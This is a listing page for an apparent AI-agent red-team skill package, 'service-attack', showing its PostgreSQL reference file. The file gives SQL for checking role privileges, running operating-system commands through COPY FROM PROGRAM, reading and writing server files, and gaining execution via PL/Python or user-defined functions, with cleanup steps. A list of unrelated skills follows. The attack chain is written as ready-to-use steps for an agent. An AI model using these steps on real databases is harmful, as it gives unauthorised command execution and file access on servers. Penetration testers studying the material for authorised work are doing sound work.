pale-knight/redteam-skill / skills/service-attack
service-attack
Verified直连网络服务攻击链。用于已经识别/枚举的非专门领域服务,从数据库、数据存储、文件/远程访问、基础设施、消息队列、DNS/网络服务、打印机/MFP/NAS/BMC/网络设备等服务入口继续利用到凭据、代码执行、主机控制、横向能力或新的独立身份。由操作者选择具体攻击链;不自动切换模块。
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 7.3 KB |
| references/database-mssql.md | markdown | 3.3 KB |
| references/database-mysql.md | markdown | 2.5 KB |
| references/database-oracle.md | markdown | 1.7 KB |
| references/database-postgresql.md | markdown | 2.1 KB |
| references/datastore-nosql.md | markdown | 3.0 KB |
| references/dns-network-services.md | markdown | 1.9 KB |
| references/file-services.md | markdown | 2.3 KB |
| references/infrastructure.md | markdown | 2.8 KB |
| references/messaging.md | markdown | 2.4 KB |
| references/network-appliance-cves.md | markdown | 5.6 KB |
| references/network-devices.md | markdown | 9.8 KB |
| references/remote-access.md | markdown | 1.1 KB |
| references/vulnerability-intelligence.md | markdown | 535 B |
references/database-postgresql.md
View on GitHub# PostgreSQL Direct-Service Attack Chain
---
## 1. Gate
```sql
SELECT version(), current_user;
SELECT rolsuper FROM pg_roles WHERE rolname=current_user;
SELECT pg_has_role(current_user,'pg_execute_server_program','MEMBER') AS exec_program,
pg_has_role(current_user,'pg_read_server_files','MEMBER') AS read_files,
pg_has_role(current_user,'pg_write_server_files','MEMBER') AS write_files;
SELECT extname,extversion FROM pg_extension;
```
PostgreSQL 当前明确区分:
```text
pg_read_server_files → server file read
pg_write_server_files → server file write
pg_execute_server_program → COPY PROGRAM / server process execution
```
---
## 2. COPY PROGRAM
前提:superuser 或 `pg_execute_server_program` 等实际允许执行的权限。
```sql
CREATE TEMP TABLE sa_cmd(output text);
COPY sa_cmd FROM PROGRAM 'id';
SELECT * FROM sa_cmd;
```
`TEMP TABLE` 会随 session 清理;这是首选 marker。
成功:命令在 PostgreSQL server OS 用户上下文执行。
---
## 3. Server File Read / Write
Read 与 execute 分开:
```sql
CREATE TEMP TABLE sa_file(line text);
COPY sa_file FROM '/etc/hostname';
SELECT * FROM sa_file;
```
文件写入需要 `pg_write_server_files`/superuser 及服务器 OS 权限:
```sql
COPY (SELECT 'service-attack-marker') TO '/tmp/pg-marker.txt';
```
Cleanup:删除临时文件需要额外 primitive;否则不要写敏感目录。
---
## 4. PL/Python / Untrusted Language
```sql
SELECT * FROM pg_available_extensions WHERE name LIKE 'plpython%';
```
创建 untrusted language/extensions 通常要求 superuser。只有功能存在、权限成立时才作为 execution path;优先临时 function + `id` marker,完成后 DROP FUNCTION / DROP EXTENSION(若是本次创建)。
---
## 5. Large Object / UDF
属于环境/版本依赖 fallback:需要 server file write / large-object export + 可加载共享库 + CREATE FUNCTION 等条件。不要把它写成“所有Postgres通用”。
---
## 6. Result
记录:
```text
Postgres role
OS database account
server file capabilities
command execution primitive
extensions changed / cleanup
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |